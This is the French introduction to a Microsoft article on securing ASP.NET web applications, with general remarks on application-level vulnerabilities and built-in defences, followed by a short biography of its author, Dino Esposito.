Imaginons le cas : quelle que soit la puissance de votre pare-feu et la fréquence d'application des correctifs disponibles, si vous exécutez une application Web intrinsèquement vulnérable, tôt ou tard, les attaquants parviendront au centre de votre système par l'entrée principale, à savoir le port 80.

Les applications ASP.NET ne sont pas plus vulnérables ni plus fiables que les autres applications Web. La sécurité et la vulnérabilité sont toutes deux le résultat des pratiques de codage, de l'expérience et d'un travail d'équipe. Aucune application n'est sécurisée si le réseau ne l'est pas ; de même, indépendamment du mode de sécurisation et d'administration du réseau, les pirates trouveront toujours un moyen si l'application présente des failles.

L'avantage de ASP.NET est qu'il propose un certain nombre d'outils intéressants pour parvenir à un niveau moyen de sécurité en quelques clics. Malgré tout, le niveau atteint est loin d'être suffisant. Ne comptez pas uniquement sur les solutions intégrées ASP.NET, mais ne les ignorez pas non plus. De plus, informez-vous autant que possible sur les attaques les plus courantes.

Cet article contient une présentation commentée des fonctionnalités intégrées et quelques informations de base sur les attaques et les moyens de défense. Les techniques de détection des attaques en cours sont un autre sujet, qui fera peut-être même l'objet d'un autre article.

À propos de l'auteur

Formateur et consultant Wintellect, Dino Esposito est basé en Italie. Il est l'auteur de Programming Microsoft ASP.NET et d'un nouvel ouvrage intitulé Introducing ASP.NET 2.0 (deux publications en anglais de Microsoft Press). Il passe la majeure partie de son temps à donner des cours sur ASP.NET et ADO.NET, et à intervenir lors de conférences. Vous pouvez participer au blogue de Dino sur http://weblogs.asp.net/despos.

Afficher:
© 2014 Microsoft